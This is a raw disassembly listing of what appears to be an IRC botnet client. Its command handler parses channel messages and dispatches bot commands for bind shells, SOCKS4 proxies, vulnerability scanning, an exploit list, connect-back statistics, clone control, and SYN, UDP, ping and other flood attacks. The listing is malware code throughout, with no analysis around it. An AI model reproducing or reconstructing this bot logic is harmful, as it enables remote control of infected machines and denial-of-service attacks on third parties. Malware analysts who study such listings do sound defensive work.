		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1B98],	eax
		lea	eax, [ebp+var_C0]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A78]
		push	eax
		call	sub_41BDC0
		mov	eax, [ebp+var_4]
		mov	[ebp+var_19F0],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19EC],	eax
		lea	eax, [ebp+var_1A78]
		push	eax
		lea	eax, [ebp+var_1B7C]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42DF88
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	1Ah
		push	eax
		call	sub_40AF8D
		add	esp, 44h
		mov	[ebp+var_19F4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1B98]
		push	ebx
		push	eax
		push	offset sub_41673A
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_19F4]


loc_4022A0:				; DATA XREF: sub_4FF770+2Ew
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jz	loc_40928E
		jmp	loc_4023EC
; ---------------------------------------------------------------------------


loc_4022B9:				; CODE XREF: sub_401B66+5F0j
					; sub_401B66+606j
		push	[ebp+var_8C]
		push	esi
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022D2
		mov	[ebp+var_4], 1


loc_4022D2:				; CODE XREF: sub_401B66+763j
		cmp	[ebp+var_88], ebx
		jz	loc_401F9E
		push	offset dword_42DF84
		push	[ebp+var_88]
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022F9
		cmp	[ebp+var_4], ebx


loc_4022F7:				; DATA XREF: sub_4FF701w
					; sub_4FF701+29r
		jz	short loc_402305


loc_4022F9:				; CODE XREF: sub_401B66+78Cj
		lea	eax, [ebp+var_C0]
		mov	[ebp+var_88], eax


loc_402305:				; CODE XREF: sub_401B66:loc_4022F7j
		cmp	[ebp+var_84], ebx
		jz	loc_401F9E
		inc	[ebp+var_84]
		jz	short loc_40234F
		cmp	[ebp+arg_10], ebx
		jz	short loc_40234F
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_41B7B0
		push	eax
		lea	eax, [ebp+var_334]
		push	[ebp+var_84]
		push	eax
		call	sub_41C640
		add	esp, 10h
		neg	eax
		sbb	eax, eax
		add	eax, 4
		mov	[ebp+var_A4], eax
		jmp	short loc_402355
; ---------------------------------------------------------------------------


loc_40234F:				; CODE XREF: sub_401B66+7B1j
					; sub_401B66+7B6j
		mov	eax, [ebp+var_A4]


loc_402355:				; CODE XREF: sub_401B66+7E7j
		mov	edi, eax
		shl	edi, 2
		mov	esi, [ebp+edi+var_90]
		cmp	esi, ebx
		jz	loc_401F9E
		push	esi
		push	offset dword_42DF78
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40218B
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_4023A5
		mov	eax, dword_4CDB18
		mov	eax, off_42A174[eax*4]
		cmp	[eax], bl
		jz	short loc_4023A5
		push	eax
		push	ecx
		push	offset dword_42DF5C
		jmp	loc_401ED9
; ---------------------------------------------------------------------------


loc_4023A5:				; CODE XREF: sub_401B66+821j
					; sub_401B66+831j
		push	esi
		push	offset dword_42DF54
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40218B
		mov	edi, [ebp+edi+var_8C]
		cmp	edi, ebx
		jz	loc_40218B
		mov	eax, [ebp+var_88]
		cmp	byte ptr [eax],	23h
		jz	loc_40218B
		push	edi
		push	eax
		push	offset dword_42DF3C
		jmp	loc_401ED9
; ---------------------------------------------------------------------------


loc_4023E4:				; CODE XREF: sub_401B66+88Cj
		push	32h
		call	dword_428064	; Sleep


loc_4023EC:				; CODE XREF: sub_401B66+74Ej
		cmp	[ebp+var_19E8],	ebx
		jz	short loc_4023E4
		jmp	short loc_402418
; ---------------------------------------------------------------------------


loc_4023F6:				; CODE XREF: sub_401B66+672j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset unk_42DEF8
		push	eax
		call	sub_41C056
		add	esp, 10h


loc_402418:				; CODE XREF: sub_401B66+88Ej
					; sub_401B66+9C8j ...
		xor	esi, esi
		inc	esi
		jmp	loc_406CBF
; ---------------------------------------------------------------------------


loc_402420:				; CODE XREF: sub_401B66+666j
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40256B
		cmp	[ebp+var_A8], ebx
		jz	loc_402544
		push	1Bh
		call	sub_40B1CF
		test	eax, eax
		pop	ecx
		jnz	loc_402533
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AA4]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41C056
		push	[ebp+esi+var_80]
		call	sub_41BF49
		mov	[ebp+var_290C],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AAC],	eax
		lea	eax, [ebp+var_C0]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_298C]
		push	eax
		call	sub_41BDC0
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2904],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2900],	eax
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42DECC
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	1Bh
		push	eax
		call	sub_40AF8D
		add	esp, 34h
		mov	[ebp+var_2908],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AAC]
		push	ebx
		push	eax
		push	offset sub_4161D7
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_2908]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jnz	short loc_402526
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42DE94
		jmp	loc_408338
; ---------------------------------------------------------------------------


loc_40251E:				; CODE XREF: sub_401B66+9C6j
		push	32h
		call	dword_428064	; Sleep


loc_402526:				; CODE XREF: sub_401B66+9A5j
		cmp	[ebp+var_28FC],	ebx
		jz	short loc_40251E
		jmp	loc_402418
; ---------------------------------------------------------------------------


loc_402533:				; CODE XREF: sub_401B66+8EBj
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset unk_42DE64
		jmp	loc_408338
; ---------------------------------------------------------------------------


loc_402544:				; CODE XREF: sub_401B66+8DBj
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset unk_42DE30
		jmp	loc_408338
; ---------------------------------------------------------------------------


loc_402555:				; CODE XREF: sub_401B66+64Bj
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_42A090
		mov	[edi], ecx
		jnz	loc_401F9E


loc_40256B:				; CODE XREF: sub_401B66+8CFj
		mov	edi, [edi]
		push	edi
		push	offset a4_0	; "4"
		mov	[ebp+arg_8], edi
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409777
		push	edi
		push	offset aHi	; "hi"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409777
		cmp	[ebp+var_A8], ebx
		jnz	short loc_4025BC
		push	[ebp+var_8C]
		push	offset dword_42DFCC
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40976F


loc_4025BC:				; CODE XREF: sub_401B66+A3Aj
		cmp	[ebp+arg_28], ebx
		jnz	loc_40976F
		xor	edi, edi
		cmp	dword_42A4A8, ebx
		jle	loc_402769
		mov	[ebp+arg_20], offset dword_43FE18


loc_4025DA:				; CODE XREF: sub_401B66+A93j
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402600
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_42A4A8
		jl	short loc_4025DA
		jmp	loc_402769
; ---------------------------------------------------------------------------


loc_402600:				; CODE XREF: sub_401B66+A83j
		push	offset asc_42E0CC ; " :"
		push	[ebp+arg_0]
		call	sub_41C0D0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401F9E
		mov	cl, byte_42A090
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_42A090
		mov	[eax+3], cl
		lea	ecx, dword_43FE30[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41BDC0
		lea	eax, dword_43FE18[edi]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax
		lea	edi, [ebp+esi+var_50]


loc_40265B:				; CODE XREF: sub_401B66+B98j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C0D0
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026BD
		cmp	[edi], ebx
		jz	short loc_4026C1
		push	[ebp+arg_C]
		call	sub_41B7B0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026F5
		push	dword ptr [edi-4]
		push	[ebp+var_C]
		call	sub_41C0D0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026F5
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_4185D4
		add	esp, 0Ch
		jmp	short loc_4026F5
; ---------------------------------------------------------------------------


loc_4026BD:				; CODE XREF: sub_401B66+B1Dj
		cmp	[edi], ebx
		jnz	short loc_4026F5


loc_4026C1:				; CODE XREF: sub_401B66+B21j
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41BDC0
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_4185D4
		add	esp, 18h


loc_4026F5:				; CODE XREF: sub_401B66+B2Fj
					; sub_401B66+B40j ...
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	loc_40265B
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_402711:				; CODE XREF: sub_401B66+BF7j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C0D0
		add	esp, 14h
		test	eax, eax
		jz	short loc_402754
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_402754
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_4185D4
		add	esp, 0Ch


loc_402754:				; CODE XREF: sub_401B66+BD3j
					; sub_401B66+BD9j
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_402711
		mov	[ebp+var_2C4], 1


loc_402769:				; CODE XREF: sub_401B66+A67j
					; sub_401B66+A95j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_42A090
		jz	short loc_402782
		cmp	[ebp+var_2C4], ebx
		jz	loc_40296E


loc_402782:				; CODE XREF: sub_401B66+C0Ej
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_4185D4
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aUser_0	; "$user"
		push	edi
		call	sub_4185D4
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_4185D4
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40AF23
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_4185D4
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_4185D4
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41C0D0
		add	esp, 14h
		jmp	loc_4028E9
; ---------------------------------------------------------------------------


loc_4027F9:				; CODE XREF: sub_401B66+D85j
		push	edi
		push	[ebp+arg_0]
		call	sub_41C0D0
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BDC0
		lea	eax, [ebp+var_A0]
		push	offset asc_42DDE8 ; ")"
		push	eax
		call	sub_41C8C4
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_40283D
		cmp	[ebp+var_A0], 39h
		jle	short loc_402853


loc_40283D:				; CODE XREF: sub_401B66+CCCj
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41BDC0
		add	esp, 0Ch


loc_402853:				; CODE XREF: sub_401B66+CD5j
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BF49
		test	eax, eax
		pop	ecx
		jle	short loc_402879
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BF49
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_40288D
; ---------------------------------------------------------------------------


loc_402879:				; CODE XREF: sub_401B66+CFCj
		call	sub_41C0B2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl


loc_40288D:				; CODE XREF: sub_401B66+D11j
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41B7B0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41BD60
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41BDC0
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_4185D4
		push	edi
		push	[ebp+arg_0]
		call	sub_41C0D0
		add	esp, 30h


loc_4028E9:				; CODE XREF: sub_401B66+C8Ej
		test	eax, eax
		jnz	loc_4027F9
		mov	edi, 1FFh
		lea	eax, [ebp+var_4484]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41BDC0
		lea	eax, [ebp+var_4484]
		push	edi
		push	eax
		lea	eax, [ebp+var_4AEC]
		push	eax
		call	sub_41BDC0
		mov	edi, offset asc_42E0C8 ; " "
		lea	eax, [ebp+var_4AEC]
		push	edi
		push	eax
		call	sub_41C8C4
		add	esp, 20h
		mov	[ebp+var_90], eax
		mov	[ebp+arg_20], 1


loc_40293C:				; CODE XREF: sub_401B66+DF0j
		push	edi
		push	ebx
		call	sub_41C8C4
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_20]
		inc	[ebp+arg_20]
		cmp	[ebp+arg_20], 20h
		mov	[ebp+ecx*4+var_90], eax
		jl	short loc_40293C
		lea	eax, [ebp+esi+var_90]
		mov	ecx, [eax]
		cmp	ecx, ebx
		jz	loc_401F9E
		add	ecx, 3
		mov	[eax], ecx


loc_40296E:				; CODE XREF: sub_401B66+C16j
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409722
		push	edi
		push	offset aRn	; "rn"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409722
		push	edi
		push	offset aDie	; "die"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404A43
		push	edi
		push	offset aD	; "d"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404A43
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049A5
		push	edi
		push	offset aLo	; "lo"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049A5
		push	edi
		push	offset aVersion	; "version"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404996
		push	edi
		push	offset aVer	; "ver"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404996
		push	edi
		push	offset aDedication ; "dedication"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40498C
		push	edi
		push	offset aDed	; "ded"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40498C
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404973
		push	edi
		push	offset aSt	; "st"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404973
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404876
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404876
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404876
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404876
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404771
		push	edi
		push	offset aBd	; "bd"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404771
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B1B
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42DD3C
		jmp	loc_404634
; ---------------------------------------------------------------------------


loc_402B1B:				; CODE XREF: sub_401B66+F9Bj
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404650
		push	edi
		push	offset aS4	; "s4"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404650
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B6E
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42DD14
		jmp	loc_404634
; ---------------------------------------------------------------------------


loc_402B6E:				; CODE XREF: sub_401B66+FEEj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B97
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42DCF8
		jmp	loc_404634
; ---------------------------------------------------------------------------


loc_402B97:				; CODE XREF: sub_401B66+1017j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BC0
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42DCDC
		jmp	loc_404634
; ---------------------------------------------------------------------------


loc_402BC0:				; CODE XREF: sub_401B66+1040j
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BE9
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42DCC8
		push	offset dword_42DCBC
		jmp	loc_404634
; ---------------------------------------------------------------------------


loc_402BE9:				; CODE XREF: sub_401B66+1069j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C12
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42DC9C
		push	offset dword_42DC8C
		jmp	loc_404634
; ---------------------------------------------------------------------------


loc_402C12:				; CODE XREF: sub_401B66+1092j
		push	edi
		push	offset dword_42DC80
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C3B
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42DC74
		push	offset dword_42DC68
		jmp	loc_404634
; ---------------------------------------------------------------------------


loc_402C3B:				; CODE XREF: sub_401B66+10BBj
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C64
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42DC54
		push	offset dword_42DC48
		jmp	loc_404634
; ---------------------------------------------------------------------------


loc_402C64:				; CODE XREF: sub_401B66+10E4j
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C8D
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42DC2C
		push	offset dword_42DC1C
		jmp	loc_404634
; ---------------------------------------------------------------------------


loc_402C8D:				; CODE XREF: sub_401B66+110Dj
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CB6
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42DC00
		push	offset dword_42DBF0
		jmp	loc_404634
; ---------------------------------------------------------------------------


loc_402CB6:				; CODE XREF: sub_401B66+1136j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CDF
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42DBD8
		push	offset dword_42DBCC
		jmp	loc_404634
; ---------------------------------------------------------------------------


loc_402CDF:				; CODE XREF: sub_401B66+115Fj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E35
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_42DC74
		push	offset dword_42DC68
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B215
		push	esi
		push	0Eh
		push	offset dword_42DC54
		push	offset dword_42DC48
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B215
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42DBB4
		push	offset dword_42DBA8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B215
		push	esi
		push	16h
		push	offset dword_42DB9C
		push	offset dword_42DB90
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B215
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42DC00
		push	offset dword_42DBF0
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B215
		push	esi
		push	12h
		push	offset dword_42DBD8
		push	offset dword_42DBCC
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B215
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42DB80
		push	offset dword_42DB70
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B215
		push	esi
		push	13h
		push	offset dword_42DB60
		push	offset dword_42DB50
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B215
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42DC2C
		push	offset dword_42DC1C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B215
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42DB1C
		push	[ebp+var_88]
		push	edi
		call	sub_409982
		add	esp, 34h
		jmp	loc_401F9E
; ---------------------------------------------------------------------------


loc_402E35:				; CODE XREF: sub_401B66+1188j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E5E
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42DB80
		push	offset dword_42DB70
		jmp	loc_404634
; ---------------------------------------------------------------------------


loc_402E5E:				; CODE XREF: sub_401B66+12DEj
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E87
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42DB60
		push	offset dword_42DB50
		jmp	loc_404634
; ---------------------------------------------------------------------------


loc_402E87:				; CODE XREF: sub_401B66+1307j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EB0
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42DBB4
		push	offset dword_42DBA8
		jmp	loc_404634
; ---------------------------------------------------------------------------


loc_402EB0:				; CODE XREF: sub_401B66+1330j
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ED9
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42DB9C
		push	offset dword_42DB90
		jmp	loc_404634
; ---------------------------------------------------------------------------


loc_402ED9:				; CODE XREF: sub_401B66+1359j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F02
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42DAD4
		jmp	loc_404634
; ---------------------------------------------------------------------------


loc_402F02:				; CODE XREF: sub_401B66+1382j
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404621
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404621
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40460C
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40460C
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F7F
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42DA84
		jmp	loc_404634
; ---------------------------------------------------------------------------


loc_402F7F:				; CODE XREF: sub_401B66+13FFj
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41C840


loc_402F8A:				; DATA XREF: .RLPack:005003A1o
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FA8
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42DA60
		jmp	loc_404634
; ---------------------------------------------------------------------------


loc_402FA8:				; CODE XREF: sub_401B66+1428j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FD1
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42DA40
		jmp	loc_404634
; ---------------------------------------------------------------------------


loc_402FD1:				; CODE XREF: sub_401B66+1451j
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045F6
		push	edi
		push	offset aStats	; "stats"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045F6
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E0
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E0
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CA
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CA
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B4
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B4
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404595
		push	edi
		push	offset aR	; "r"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404595
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404573
		push	edi
		push	offset aDc	; "dc"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404573
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40452A
		push	edi
		push	offset aQ	; "q"
		call	sub_41C840
		pop	ecx
